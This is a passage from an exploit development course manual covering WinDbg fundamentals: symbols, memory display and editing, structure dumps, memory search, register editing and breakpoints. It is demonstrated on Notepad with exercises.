layout was designed to provide the most important windows for this course: the Disassembly and
Command windows. Feel free to modify the workspace, but these will be used the most during
this course.
Our customized workspace has docked the Command window and added the Disassembly view,
which shows the next instructions to be executed by the CPU.

Figure 9: Default workspace of WinDbg

When creating a workspace, it is important to know that there are several additional windows
available through the View menu (Figure 10).

22
(Burlingame, Zach, 2011), http://www.zachburlingame.com/2011/12/customizing-your-windbg-workspace-and-color-scheme/

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 29
Windows User Mode Exploit Development

Figure 10: WinDbg Views

We can arrange different views and dock them together, giving us access to multiple views at
once. The views to have on the screen is often a matter of personal taste.

The GUI offers a great deal of functionality. But with practice, the Command
window will allow us to interact with WinDbg much faster and use more
advanced features such as the built-in scripting language.

Once we’ve set up the views, we can save the workspace through the File menu. This allows us to
use the workspace across different debugging sessions.

2.2.3.1 Exercises
1. Open WinDbg and attach it to the Notepad process.
2. Explore different WinDbg windows and get a feel for the layout.

2.2.4 Debugging Symbols


Symbol files permit WinDbg to reference internal functions, structures, and global variables using
names instead of addresses. Configuring the symbols path allows WinDbg to fetch symbol files
for native Windows executables and libraries from the official Microsoft symbol store.
The symbols files (with extension .PDB) are created when the native Windows files are compiled
by Microsoft. Microsoft does not provide symbol files for all library files, and third party
applications may have their own symbol files.
The student VM is already configured, but it is important to understand how to set up the
debugging environment.
We access the symbol settings through the File > Symbol File Path… menu, as shown in Figure 11.
A commonly used symbol path is C:\symbols.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 30
Windows User Mode Exploit Development

Figure 11: Setting Symbol File Path

Once the symbol path is configured and an Internet connection is available, we can force the
download of available symbols for all loaded modules before beginning any actual debugging
with .reload:
0:003> .reload /f
Reloading current modules
..*** ERROR: Symbol file could not be found. Defaulted to export symbols for
C:\Windows\WinSxS\x86_microsoft.windows.common-
controls_6595b64144ccf1df_6.0.16299.64_none_14403bb93691f395\COMCTL32.dll -
..

Press ctrl-c (cdb, kd, ntsd) or ctrl-break (windbg) to abort symbol loads that take
too long.
Run !sym noisy before .reload to track down problems loading symbols.

...............................................

************* Symbol Loading Error Summary **************


Module name Error
COMCTL32 - This error is unknown: 0x800c2eff. Please contact the
debugger team to report this error. (Mail: [email protected])

You can troubleshoot most symbol related issues by turning on symbol loading
diagnostics (!sym noisy) and repeating the command that caused symbols to be loaded.
You should also verify that your symbol search path (.sympath) is correct.
Listing 1 - Reloading the symbols from the Microsoft Symbols Server

In some cases, we would receive the above error if there is a module where no symbol file exists.
This error can also occur if we request a symbol file after a Windows update. Typically, this does
not pose a problem because the symbol files for the core modules are available within a few days
of patches being released.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 31
Windows User Mode Exploit Development

2.3 Accessing and Manipulating Memory from WinDbg


Inspecting and manipulating the contents of process memory is a critical step during exploit
development. WinDbg provides us with a set of powerful commands for these purposes. In this
section, we will focus on accessing and manipulating memory.

2.3.1 Unassemble from Memory


We can display the assembly translation of a specified program code in memory with the WinDbg
u23 command. This is useful as it allows us to inspect the assembly code of certain Windows
APIs as well as any part of the code of the current running program.
The u command accepts either a single memory address or a range of memory as an argument,
which will tell it where to start disassembling from. If we do not specify this argument, the
disassembly will begin at the memory address stored in EIP.
With our debugger attached to the notepad.exe process, let’s try to inspect the assembly code of
the kernel32!GetCurrentThread Windows API. We select Break from the Debug menu to halt
execution and then use the u command to disassemble the target function as follows:
0:003> u kernel32!GetCurrentThread
KERNEL32!GetCurrentThread:
770b5910 6afe push 0FFFFFFFEh
770b5912 58 pop eax
770b5913 c3 ret
770b5914 cc int 3
770b5915 cc int 3
770b5916 cc int 3
770b5917 cc int 3
770b5918 cc int 3
Listing 2 - Disassembly of the kernel32!GetCurrentThread Windows API

As shown in the listing above, we can provide a function symbol in place of a memory address, as
the debugger will translate the symbol automatically.

2.3.1.1 Exercises
1. Use the u command to unassemble the kernel32!GetCurrentThread Windows API.
2. Can you explain the assembly code? What is the result of this function and how it is returned
to the caller?

2.3.2 Reading from Memory


We can read process memory content using the display command24 followed by the size
indicator. The listings below show the different available display format options.

23
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/u--unassemble-
24
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/d--da--db--dc--dd--dd--df--dp--dq--du--dw-
-dw--dyb--dyd--display-memor

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 32
Windows User Mode Exploit Development

For a complete list of display command options, please refer to the Microsoft’s
online WinDbg manual.25

First, we can display bytes through the db command as shown in Listing 3.


0:000> db esp
00faf974 89 ab 1b 77 78 68 1f c1-50 ab 1b 77 50 ab 1b 77 ...wxh..P..wP..w
00faf984 00 00 00 00 78 f9 fa 00-00 00 00 00 ec f9 fa 00 ....x...........
00faf994 80 a3 18 77 90 ae fa b6-00 00 00 00 b4 f9 fa 00 ...w............
00faf9a4 a4 de e2 76 00 00 00 00-80 de e2 76 8a ae aa ca ...v.......v....
00faf9b4 fc f9 fa 00 be 00 15 77-00 00 00 00 24 68 1f c1 .......w....$h..
00faf9c4 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00faf9d4 00 00 00 00 00 00 00 00-00 00 00 00 24 68 1f c1 ............$h..
00faf9e4 c0 f9 fa 00 00 00 00 00-04 fa fa 00 80 a3 18 77 ...............w
Listing 3 - Display bytes - db

The listing above uses the ESP register instead of an explicit memory address. The display
command also accepts explicit addresses (db 00faf974) or symbol names (db
kernel32!WriteFile).

To display data in a larger size format we can use dw:


0:000> dw esp
00faf974 ab89 771b 6878 c11f ab50 771b ab50 771b
00faf984 0000 0000 f978 00fa 0000 0000 f9ec 00fa
00faf994 a380 7718 ae90 b6fa 0000 0000 f9b4 00fa
00faf9a4 dea4 76e2 0000 0000 de80 76e2 ae8a caaa
00faf9b4 f9fc 00fa 00be 7715 0000 0000 6824 c11f
00faf9c4 0000 0000 0000 0000 0000 0000 0000 0000
00faf9d4 0000 0000 0000 0000 0000 0000 6824 c11f
00faf9e4 f9c0 00fa 0000 0000 fa04 00fa a380 7718
Listing 4 - Display words - dw

As shown above, dw prints WORDs (two bytes) rather than single bytes.
We can also display DWORDs (four bytes) with dd (Listing 5):
0:000> dd esp
00faf974 771bab89 c11f6878 771bab50 771bab50
00faf984 00000000 00faf978 00000000 00faf9ec
00faf994 7718a380 b6faae90 00000000 00faf9b4
00faf9a4 76e2dea4 00000000 76e2de80 caaaae8a
00faf9b4 00faf9fc 771500be 00000000 c11f6824
00faf9c4 00000000 00000000 00000000 00000000
00faf9d4 00000000 00000000 00000000 c11f6824
00faf9e4 00faf9c0 00000000 00fafa04 7718a380
Listing 5 - Display dwords - dd

25
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/d--da--db--dc--dd--dd--df--dp--dq--du--dw-
-dw--dyb--dyd--display-memor

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 33
Windows User Mode Exploit Development

We can display QWORDs (eight bytes) with dq, as shown in Listing 6.


0:002> dq 00faf974
00faf974 c11f6878`771bab89 771bab50`771bab50
00faf984 00faf978`00000000 00faf9ec`00000000
00faf994 b6faae90`7718a380 00faf9b4`00000000
00faf9a4 00000000`76e2dea4 caaaae8a`76e2de80
00faf9b4 771500be`00faf9fc c11f6824`00000000
00faf9c4 00000000`00000000 00000000`00000000
00faf9d4 00000000`00000000 c11f6824`00000000
00faf9e4 00000000`00faf9c0 7718a380`00fafa04
Listing 6 - Display qwords - dq

Notice that in Listing 6, we replaced the ESP register with its hexadecimal value.
In addition, we can conveniently display ASCII characters in memory along with WORDs or
DWORDs with dW and dc, respectively.

Don’t confuse ‘dW’ with ‘dw’, which is only for the WORD value.

Listing 7 shows us the ASCII characters on the right-hand side of the output, and the equivalent
hexadecimal values on the left.
0:000> dc KERNELBASE
75100000 00905a4d 00000003 00000004 0000ffff MZ..............
75100010 000000b8 00000000 00000040 00000000 ........@.......
75100020 00000000 00000000 00000000 00000000 ................
75100030 00000000 00000000 00000000 000000f8 ................
75100040 0eba1f0e cd09b400 4c01b821 685421cd ........!..L.!Th
75100050 70207369 72676f72 63206d61 6f6e6e61 is program canno
75100060 65622074 6e757220 206e6920 20534f44 t be run in DOS
75100070 65646f6d 0a0d0d2e 00000024 00000000 mode....$.......

0:000> dW KERNELBASE+0x40
75100040 1f0e 0eba b400 cd09 b821 4c01 21cd 6854 ........!..L.!Th
75100050 7369 7020 6f72 7267 6d61 6320 6e61 6f6e is program canno
75100060 2074 6562 7220 6e75 6920 206e 4f44 2053 t be run in DOS
75100070 6f6d 6564 0d2e 0a0d 0024 0000 0000 0000 mode....$.......
75100080 abc8 b273 ca8c e11d ca8c e11d ca8c e11d ..s.............
75100090 b285 e18e ca88 e11d ca8c e11c c9bb e11d ................
751000a0 5638 e1f2 ca8f e11d 5638 e1ee ca83 e11d 8V......8V......
751000b0 5638 e1ec ca84 e11d 5638 e1ef c8be e11d 8V......8V......
Listing 7 - The display command and ASCII representation of the data

The default length when displaying data is 0x80 bytes. We can change this value by using the L
parameter with display commands, as shown below:
0:000> dd esp L4
00faf974 771bab89 c11f6878 771bab50 771bab50

0:000> dd esp L10


00faf974 771bab89 c11f6878 771bab50 771bab50

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 34
Windows User Mode Exploit Development

00faf984 00000000 00faf978 00000000 00faf9ec


00faf994 7718a380 b6faae90 00000000 00faf9b4
00faf9a4 76e2dea4 00000000 76e2de80 caaaae8a

0:000> dW KERNELBASE L2
75100000 5a4d 0090 MZ..

0:000> db KERNELBASE L2
75100000 4d 5a MZ
Listing 8 - Display amount using L

Notice how the value passed to the L parameter changes the amount of data displayed. This
depends on the requested format. The dW L2 command outputs two WORDS while db L2
outputs two bytes.
WinDbg allows us to display the memory content at a specified address as either ASCII format
using the da command or Unicode format using the du command. We will see how these
commands can be used later in the module.
We can also display data through the pointer to data command poi, which displays data
referenced from a memory address. In the listing below, the display DWORD command dd is used
twice to emulate a memory dereference.
0:002> dd esp L1
00faf974 771bab89

0:002> dd 771bab89
771bab89 c03307eb 658bc340 fc45c7e8 fffffffe
771bab99 d0e8006a ccfff955 cccccccc cccccccc
771baba9 cccccccc 8bcccccc ec8b55ff 180d8b64
771babb9 8b000000 81890845 00000f24 0004c25d
771babc9 cccccccc 8bcccccc ec8b55ff 0018a164
771babd9 b0ff0000 00000f24 e80875ff fffc6c77
771babe9 0004c25d cccccccc cccccccc cccccccc
771babf9 cccccccc 8bcccccc ec8b55ff 640875ff
Listing 9 - Using the dd command to emulate a pointer dereference

We can achieve the same result by using dd and poi together in a single line:
0:002> dd poi(esp)
771bab89 c03307eb 658bc340 fc45c7e8 fffffffe
771bab99 d0e8006a ccfff955 cccccccc cccccccc
771baba9 cccccccc 8bcccccc ec8b55ff 180d8b64
771babb9 8b000000 81890845 00000f24 0004c25d
771babc9 cccccccc 8bcccccc ec8b55ff 0018a164
771babd9 b0ff0000 00000f24 e80875ff fffc6c77
771babe9 0004c25d cccccccc cccccccc cccccccc
771babf9 cccccccc 8bcccccc ec8b55ff 640875ff
Listing 10 - Using the poi command to dereference a pointer

These display commands are very useful. In the next section, we will show even more powerful
ways of displaying data.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 35
Windows User Mode Exploit Development

2.3.2.1 Exercise
1. Use different versions of dd to dump data from memory and attempt to combine the display
commands with poi.

2.3.3 Dumping Structures from Memory


One of the advantages of WinDbg is the ability to use Microsoft symbols for core modules (DLLs).
Symbol files use structures, and structures are a programming concept that accepts user-defined
data types that can combine different data items.
Different software may use structures extensively, depending on its complexity and functionality.
While such structures would be easy to read by examining the source code, the issue appears
during the compilation process where the code gets translated to binary values. This means we
can not simply read the structures. However, we have a solution.
The display command has a specific option dedicated to dumping structures from memory by
using the available symbol files.
The Display Type dt26 command takes the name of the structure to display as an argument and,
optionally, a memory address from which to dump the structure data. The structure needs to be
provided by one of the loaded symbol files. The Thread Environment Block27 (TEB) structure
displayed in the example below is without any additional arguments.
0:000> dt ntdll!_TEB
+0x000 NtTib : _NT_TIB
+0x01c EnvironmentPointer : Ptr32 Void
+0x020 ClientId : _CLIENT_ID
+0x028 ActiveRpcHandle : Ptr32 Void
+0x02c ThreadLocalStoragePointer : Ptr32 Void
+0x030 ProcessEnvironmentBlock : Ptr32 _PEB
+0x034 LastErrorValue : Uint4B
+0x038 CountOfOwnedCriticalSections : Uint4B
+0x03c CsrClientThread : Ptr32 Void
...
+0xfe0 ResourceRetValue : Ptr32 Void
+0xfe4 ReservedForWdf : Ptr32 Void
+0xfe8 ReservedForCrt : Uint8B
+0xff0 EffectiveContainerId : _GUID
Listing 11 - Dumping structures using dt

In this case, the optional address for the structure was not provided, and WinDbg shows the
structure fields as well as their offsets.
In the output, each specified field for that structure is shown at the relative specific offset into the
structure. This is followed by the field name and its data type. For cases where a field points to a
nested structure, the field data type is replaced by the correct sub-structure type. The sub-
structure type can also be identified with an underscore (_) leading the field type, and the field
type name in capital letters.

26
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/dt--display-type-
27
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-teb

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 36
Windows User Mode Exploit Development

In Listing 11, notice that the NtTib field at offset 0x0 is a nested structure of type _NT_TIB.
If the memory address of a structure is known, it can be passed to the dt command as an
additional parameter.
Continuing the previous example, we can use dt with the address of the TEB by leveraging the
$teb pseudo28 register.

A pseudo register is a WinDbg variable that can be used during calculations. We’ll
explain this in more detail in the next section.

By supplying the -r flag to the dt command, WinDbg will recursively display nested structures
where present.
:002> dt -r ntdll!_TEB @$teb
+0x000 NtTib : _NT_TIB
+0x000 ExceptionList : 0x004bfb68 _EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x004bfbc4 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x77b37230 _EXCEPTION_DISPOSITION
ntdll!_except_handler4+0
+0x004 StackBase : 0x004c0000 Void
+0x008 StackLimit : 0x004bc000 Void
+0x00c SubSystemTib : (null)
+0x010 FiberData : 0x00001e00 Void
+0x010 Version : 0x1e00
+0x014 ArbitraryUserPointer : (null)
+0x018 Self : 0x00302000 _NT_TIB
+0x000 ExceptionList : 0x004bfb68 _EXCEPTION_REGISTRATION_RECORD
+0x004 StackBase : 0x004c0000 Void
+0x008 StackLimit : 0x004bc000 Void
+0x00c SubSystemTib : (null)
+0x010 FiberData : 0x00001e00 Void
+0x010 Version : 0x1e00
+0x014 ArbitraryUserPointer : (null)
+0x018 Self : 0x00302000 _NT_TIB
+0x01c EnvironmentPointer : (null)
+0x020 ClientId : _CLIENT_ID
+0x000 UniqueProcess : 0x00001640 Void
+0x004 UniqueThread : 0x0000133c Void
+0x028 ActiveRpcHandle : (null)
+0x02c ThreadLocalStoragePointer : (null)
+0x030 ProcessEnvironmentBlock : 0x002ff000 _PEB
+0x000 InheritedAddressSpace : 0 ''
+0x001 ReadImageFileExecOptions : 0 ''
+0x002 BeingDebugged : 0x1 ''
+0x003 BitField : 0x4 ''
+0x003 ImageUsesLargePages : 0y0
+0x003 IsProtectedProcess : 0y0
+0x003 IsImageDynamicallyRelocated : 0y1

28
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/pseudo-register-syntax

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 37
Windows User Mode Exploit Development

+0x003 SkipPatchingUser32Forwarders : 0y0


+0x003 IsPackagedProcess : 0y0
+0x003 IsAppContainer : 0y0
+0x003 IsProtectedProcessLight : 0y0
+0x003 SpareBits : 0y0
+0x004 Mutant : 0xffffffff Void
+0x008 ImageBaseAddress : 0x010b0000 Void
+0x00c Ldr : 0x77baaaa0 _PEB_LDR_DATA
[SNIP...]
Listing 12 - Using dt with a memory address

We can also display specific fields in the structure by passing the name of the field as an
additional parameter. The following is an example for the TEB ThreadLocalStoragePointer field:
0:000> dt ntdll!_TEB @$teb ThreadLocalStoragePointer
+0x02c ThreadLocalStoragePointer : 0x02b31bf8 Void
Listing 13 - Dumping information of a specific structure field only

WinDbg can also display the size of a structure extracted from a symbol file. This is because
some Windows APIs will take a structure as an argument, so we need to be able to determine the
size of a certain structure. To get this info, we use the WinDbg sizeof command as follows:
0:000> ?? sizeof(ntdll!_TEB)
unsigned int 0x1000
Listing 14 - Using the sizeof command to gather the size in bytes of the TEB structure

Leveraging symbols helps the debugging process tremendously by providing identifiable names
instead of memory addresses and hexadecimal values. We should use symbol files if they have
been released by the developer.

2.3.3.1 Exercise
1. Experiment with the dt command and dump some structures such as the PEB along with
their contents at a specific memory address.

2.3.4 Writing to Memory


After exploring commands to display and dump information from memory, let’s focus on
modifying process memory data. The main WinDbg command for this job is e\*,29 the edit
command. The same size modifiers used for the display command also apply to the edit
command. Below is an example showing how to edit a DWORD pointed to by ESP.
0:000> dd esp L1
003cb710 00000000

0:000> ed esp 41414141

0:000> dd esp L1
003cb710 41414141
Listing 15 - Simple edit command to modify a single DWORD

29
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/e--ea--eb--ed--ed--ef--ep--eq--eu--ew--eza-
-ezu--enter-values-

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 38
Windows User Mode Exploit Development

As with the display command, we can directly write or modify ASCII characters using ea or
Unicode characters using eu. In the following example (Listing 16), we wrote ASCII text (“Hello”) to
the memory address pointed to by the ESP register.
0:000> da esp
003cb710 ""

0:000> ea esp "Hello"

0:000> da esp
003cb710 "Hello"
Listing 16 - Using the ea command

Writing ASCII or Unicode strings directly to memory can help to quickly translate them into hex
format, which we can use in our exploit.
For example, let’s imagine we have a shellcode that writes a file to disk. The path needs to be
supplied as bytes inside our shellcode. By using WinDbg, we can write the path directly to
memory. Then within our exploit code, we can copy the bytes displayed through the db command
into the shellcode.

2.3.4.1 Exercises
1. Experiment with the memory write commands and modify the contents at ESP as both a
binary value and a Unicode string.
2. What happens if we try to modify the memory where EIP is pointing?

2.3.5 Searching the Memory Space


When performing exploit development or reverse engineering, it’s common to search the process
memory space for a specific pattern. In WinDbg, we can search the debugged process memory
space by using the s command.30
First, let’s use our newly-acquired skill of editing memory to change the DWORD pointed to by the
ESP register to 0x41414141. Then we can use the search command to find this value in the
application’s memory.
To perform a search we need s and four additional parameters: the memory type to search for,
the starting point of memory to search, the length of memory to search, and the pattern to search
for.
When searching for the memory type DWORD, we use -d. Next, we set the searching address,
which starts at 0. We then set the length for the command to search. To search the whole
memory range, we enter L and the value “?80000000”, which signifies the entire process’s
memory space (more on the “?” keyword shortly). Finally, we enter the pattern that we want to
search for, in this case, 41414141.
Listing 17 displays a search for 41414141 in memory.

30
(Microsoft, 2019), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/s--search-memory-

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 39
Windows User Mode Exploit Development

0:000> ed esp 41414141

0:000> s -d 0 L?80000000 41414141


003cb710 41414141 0000006f 80000000 00000007 AAAAo...........
Listing 17 - Searching for the 0x41414141 DWORD

With a good understanding of the search function, let’s perform a search of the entire user
process memory space for a well-known ASCII string.
0:000> s -a 0 L?80000000 "This program cannot be run in DOS mode"
000e004e 54 68 69 73 20 70 72 6f-67 72 61 6d 20 63 61 6e This program can
007a004e 54 68 69 73 20 70 72 6f-67 72 61 6d 20 63 61 6e This program can
0089004e 54 68 69 73 20 70 72 6f-67 72 61 6d 20 63 61 6e This program can
008b004e 54 68 69 73 20 70 72 6f-67 72 61 6d 20 63 61 6e This program can
009f004e 54 68 69 73 20 70 72 6f-67 72 61 6d 20 63 61 6e This program can
00b6004e 54 68 69 73 20 70 72 6f-67 72 61 6d 20 63 61 6e This program can
00b8004e 54 68 69 73 20 70 72 6f-67 72 61 6d 20 63 61 6e This program can
00c1004e 54 68 69 73 20 70 72 6f-67 72 61 6d 20 63 61 6e This program can
010b004e 54 68 69 73 20 70 72 6f-67 72 61 6d 20 63 61 6e This program can
063610ae 54 68 69 73 20 70 72 6f-67 72 61 6d 20 63 61 6e This program can
063626b6 54 68 69 73 20 70 72 6f-67 72 61 6d 20 63 61 6e This program can
06368ebe 54 68 69 73 20 70 72 6f-67 72 61 6d 20 63 61 6e This program can
...
Listing 18 - Using the search command across all usermode memory

The ASCII string we used in our search command from Listing 18 is present in every Windows
executable as part of the PE header. This means it is found in every module that is loaded in the
memory space of the notepad.exe process. In addition to finding the ASCII string, WinDbg also
presents us with the memory addresses where the strings are located in each module.
Being able to identify where we can find a specific pattern in memory as we did in the above
example can be vital during reverse engineering and exploit development.

2.3.5.1 Exercises
1. Use the edit command to create a QWORD in memory and search for it with the search
command.
2. Use the edit command to create a Unicode string and search for it with the search
command.

2.3.6 Inspecting and Editing CPU Registers in WinDbg


Understanding how to inspect CPU register values is as important as the ability to access
memory data. We can access registers using the r command.
This command is very powerful because it allows us to not only display register values, but also
to modify them.
In Listing 19 we show how to dump all registers as well as a single one by using the r command:
0:000> r
eax=0008f24c ebx=00000006 ecx=0ad16828 edx=000f5e6c esi=0013f7d0 edi=00000006
eip=751c3b70 esp=0008f228 ebp=0008f25c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 40
Windows User Mode Exploit Development

KERNELBASE!WriteFile:
751c3b70 6a18 push 18h

0:000> r ecx
ecx=0ad16828
Listing 19 - Inspecting register values

We can also modify ECX with r ecx= followed by the new register value.
0:000> r ecx=41414141

0:000> r
eax=0008f24c ebx=00000006 ecx=41414141 edx=000f5e6c esi=0013f7d0 edi=00000006
eip=751c3b70 esp=0008f228 ebp=0008f25c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
KERNELBASE!WriteFile:
751c3b70 6a18 push 18h
Listing 20 - Setting register values

Being able to modify memory and registers while debugging can speed up the reverse
engineering and exploit development process.

2.3.6.1 Exercise
1. Use the r command to display the contents of all registers, then single registers. Practice
modifying them.

2.4 Controlling the Program Execution in WinDbg


WinDbg can set breakpoints31 to halt the execution flow at desired locations in the code. There
are two different types of breakpoints; software and processor/hardware breakpoints.
Breakpoints controlled directly by the debugger are known as software breakpoints. Breakpoints
controlled by the processor and set through the debugger are known as hardware breakpoints.32
In the following section, we will experiment with setting up various software and hardware
breakpoints while attached to the notepad.exe process. We will learn how to set software
breakpoints at particular Windows APIs, some of which are not yet loaded in the memory space
of our application. We will also use hardware breakpoints to determine exactly when our data is
accessed.

2.4.1 Software Breakpoints


When placing a software breakpoint, WinDbg temporarily replaces the first opcode of the
instruction where we want execution to halt with an INT 3 assembly instruction. The advantage of
software breakpoints is that we are allowed to set as many as we want.
Let’s try this out. With WinDbg attached to Notepad, we are going to set a breakpoint that will halt
the execution flow of the application when changes are being saved to a file. To do this, we are

31
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/methods-of-controlling-breakpoints
32
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/processor-breakpoints---ba-breakpoints-

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 41
Windows User Mode Exploit Development

going to set a breakpoint at the Windows WriteFile API,33 which is commonly used to write data to
a specified file or input/output (I/O) device.
We start by using bp along with the location where we want the application to stop, which in this
case is the kernel32!WriteFile function.
After setting our breakpoint, we can use the bl command to list all the breakpoints and make
sure we are set for our test.
0:005> bp kernel32!WriteFile

0:000> bl
0 e Disable Clear 767ec6d0 0001 (0001) 0:**** KERNEL32!WriteFile
Listing 21 - Setting a breakpoint on the WriteFile

Remember, when first attached to WinDbg, the execution flow of the application is stopped. After
setting up the desired breakpoints, we have to let the execution continue by issuing the g
command.
With our breakpoint in place, let’s proceed to write content in Notepad and then save the content
to a file. This should trigger our breakpoint:

0:005> g
Breakpoint 0 hit
eax=007bec80 ebx=00a9bb18 ecx=9e56da2d edx=00a9bb46 esi=00000017 edi=088f9630
eip=767ec6d0 esp=007bec60 ebp=007bec94 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
KERNEL32!WriteFile:
767ec6d0 ff2590448476 jmp dword ptr [KERNEL32!_imp__WriteFile (76844490)]
ds:0023:76844490={KERNELBASE!WriteFile (7466b160)}
Listing 22 - Halting the execution in notepad.exe by setting a breakpoint on the WriteFile

As shown in the listing above, we hit our breakpoint. Additionally, WinDbg shows the current
values of all the general purpose registers as well as the address and assembly instruction where
our breakpoint was triggered.
During a debugging session, it can also be handy to disable and enable breakpoints using the bd
(disable) and be (enable) commands, respectively. These commands accept the breakpoint
numbers listed by bl as arguments.
0:000> bd 0

0:000> bl
0 d Enable Clear 767ec6d0 0001 (0001) 0:**** KERNEL32!WriteFile

0:000> be 0

0:000> bl
0 e Disable Clear 767ec6d0 0001 (0001) 0:**** KERNEL32!WriteFile
Listing 23 - Setting, disabling, listing and clearing breakpoints

33
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefile

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 42
Windows User Mode Exploit Development

In Listing 23, we disable and enable breakpoint 0 on the WriteFile API.


During long debugging sessions, it’s easy to end up with a long list of enabled and/or disabled
breakpoints. It’s good practice to keep our workspace tidy, and therefore we need to learn how to
clear breakpoints. We can do this using the bc command, along with the breakpoint number. To
clear all the breakpoints, we can use the wildcard (*) argument instead of the breakpoint number.
0:000> bl
0 e Disable Clear 767ec6d0 0001 (0001) 0:**** KERNEL32!WriteFile

0:000> bc 0

0:000> bl
Listing 24 - Setting, disabling, listing and clearing breakpoints

Understanding how software breakpoints work, as well as how to use them, is vital while
performing exploit development or reverse engineering. Take the time to get comfortable with
using software breakpoints in various scenarios.

2.4.1.1 Exercises
1. Attach WinDbg to a new instance of Notepad and set a breakpoint on the WriteFile API as
shown.
2. Trigger the breakpoint by saving the document in Notepad.
3. Experiment with the breakpoint commands to list, disable, enable, and clear breakpoints.
4. Can you determine where you need to set a breakpoint that will be triggered when reading a
text file?

2.4.2 Unresolved Function Breakpoint


We can use the bu command to set a breakpoint on an unresolved function. This is a function
residing in a module that isn’t yet loaded in the process memory space. In this case, the
breakpoint will be enabled when the module is loaded and the target function is resolved.

Refer to MSDN34 to learn more about the difference between resolved and
unresolved breakpoints.

Here is an example of the bu command applied to Notepad. The module OLE32.dll is not initially
loaded in the notepad.exe process, but is loaded once a file is saved. Once WinDbg is attached to
the notepad.exe process, we will set an unresolved breakpoint on a arbitrary OLE32 function,
OLE32!WriteStringStream (Listing 25).
0:005> lm m ole32
Browse full module list

34
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/unresolved-breakpoints---bu-
breakpoints-

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 43
Windows User Mode Exploit Development

start end module name

0:005> bu ole32!WriteStringStream

0:005> bl
0 e Disable Clear u 0001 (0001) (ole32!WriteStringStream)
Listing 25 - Unresolved breakpoint on ole32!WriteStringStream

After resuming Notepad execution and saving a file, we notice that OLE32.dll has been loaded:
0:005> g
[...]
ModLoad: 74ce0000 74dd7000 C:\Windows\System32\ole32.dll
[...]
Listing 26 - ole32 module has loaded

Observing the module has loaded in Listing 26, we can confirm that our breakpoint is now
resolved by breaking the application flow. Let’s do this by clicking the Break button shown in
Figure 12.

Figure 12: Break button in WinDbg GUI

Finally, we can check on our breakpoint with the bl command:


(fac.fa4): Break instruction exception - code 80000003 (first chance)
eax=02d61000 ebx=00000000 ecx=76fb9bc0 edx=01008802 esi=76fb9bc0 edi=76fb9bc0
eip=76f81430 esp=0915fd44 ebp=0915fd70 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!DbgBreakPoint:
76f81430 cc int 3
0:005> bl
0 e Disable Clear 74d01cd0 0001 (0001) 0:**** ole32!WriteStringStream
Listing 27 - Resolved breakpoint on ole32!WriteStringStream

It is important to remember that while the breakpoint is resolved when ole32.dll is loaded, it is
not triggered. This is because our actions in Notepad did not force a call to
ole32!WriteStringStream.

Next, we will learn how to leverage WinDbg and use breakpoints to trigger specific actions.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 44
Windows User Mode Exploit Development

2.4.2.1 Exercises
1. Attach WinDbg to a new instance of Notepad and set an unresolved breakpoint on an API in
ole32.dll.
2. Trigger the loading of ole32.dll by saving a file and viewing how the breakpoint becomes
resolved.

2.4.3 Breakpoint-Based Actions


We can also automate the execution of commands within the debugger when a breakpoint35 is
triggered. This enables us to print the register’s content, dereference memory locations, and
perform other powerful actions when a breakpoint is hit.
Let’s consider the example in Listing 28. WinDbg is attached to Notepad and we want to display
the number of bytes written to a file in the debugger window. To do this, we can execute the
.printf36 command every time the breakpoint set on the kernel32!WriteFile API is triggered using
the syntax shown below:
0:005> bp kernel32!WriteFile ".printf \"The number of bytes written is: %p\", poi(esp
+ 0x0C);.echo;g"
Listing 28 - Printing the number of bytes written once the breakpoint set on WriteFile is hit.

Similar to the C/C++ version, .printf supports the use of format strings37 such as %p, which will
display the given value as a pointer. In our example, the .echo command displays the output of
.printf to the WinDbg command window. The semi-colon (;) delimiter separates multiple
commands assigned to a single breakpoint and executes them in the order listed.
